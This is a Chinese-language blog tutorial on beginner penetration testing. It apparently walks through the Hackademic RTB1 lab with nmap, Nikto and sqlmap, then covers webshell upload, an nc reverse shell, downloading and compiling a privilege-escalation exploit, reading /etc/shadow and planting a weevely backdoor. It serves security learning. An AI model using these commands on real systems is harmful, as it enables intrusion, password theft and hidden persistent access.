渗透菜鸟概览

ReZero lol

微信原文

  1. ping 根据 hostname 获取 IP

  2. 寻找同一服务器上的其它网站,使用sameip.org.

  3. 开始采集信息

    1. DNS records (A, NS, TXT, MX and SOA)
    2. Web Server Type (Apache, IIS, Tomcat)
    3. Registrar (the company that owns your domain)
    4. Your name, address, email and phone
    5. Scripts that your site uses (php, asp, asp.net, jsp, cfm)
    6. Your server OS (Unix,Linux,Windows,Solaris)
    7. Your server open ports to internet (80, 443, 21, etc.)
    
    • whois 查询DNS记录,web Server & version
    • whatWeb 获取 网站服务器操作系统类型,服务器版本,整站程序
    • nmap使用
      • 查看服务器上运行的服务 namp -sV hostname
      • 查看操作系统版本 namp -O hostname
  4. 扫描漏洞
    Sql injection, Blind sql injection,LFI,RFI,XSS,CSRF 等等


    使用 Nikto

    root@bt:/pentest/web/nikto# perl nikto.pl -h hack-test.com
    

    或w3af

    root@bt:/pentest/web/w3af# ./w3af_gui
    

    输入要检测的网站地址,选择完整的安全审计选项


  5. 漏洞利用
    假设存在sql注入

    • 注入检查
      sqlmap.py –u url
    • 猜数据库名
      sqlmap.py –u url --dbs
    • 猜表名
      sqlmap.py -u url -D dbname --tables
    • 猜字段名
      sqlmap.py -u url -D dbName -T tName --columns
    • 猜解字段值(假设猜解user,pwd)
      sqlmap.py -u url -D dbName -T tName --columns -C user,pwd –dump
  6. 密码破解
    推荐hashes破解网站
    http://www.onlinehashcrack.com/free-hash-reverse.php

  7. 上传webshell,方便运行linux命令
    上传方式推荐插件编辑(整站程序)

  8. 上升权限
    (1) 用NC来反弹一个shell,首先 监听 5555 端口
    nc -lvvp 5555
    (2) 用上传的webshell 反向连接我方
    输入我方 IP 和 5555
    (3) 测试命令及结果

    >> id
    (用来显示用户的id和组)    
    uid=48(apache) gid=489(apache) groups=489(apache)
    
    >> pwd
    (显示服务器上当前的路径)    
    /var/www/html/Hackademic_RTB1/wp-content/plugins
    
    >> uname -a
    (显示内核版本信息)   
    Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux 
    

    (4)exploit-db.com 查询漏洞
    下载
    wget http://www.exploit-db.com/exploits/15285 -o roro.c
    编译:根据语言选择编译器
    gcc roro.c –o roro
    (5)./roro 执行
    (6) id查看权限

  9. cat /etc/shadow
    此命令查看密码

    • john the ripper工具用来破解或重置密码
    • 开后门
  10. 开后门
    * 上传
    root@bt:/pentest/backdoors/web/weevely# ./main.py -
    * 使用

    root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p koko

*   测试命令 `dir, pwd, id, uname -a`
  • Post title:渗透菜鸟概览
  • Post author:ReZero
  • Create time:2017-02-16 14:05:00
  • Post link:https://rezeros.github.io/2017/02/16/ptentest-tutorial/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.
 Comments
Contents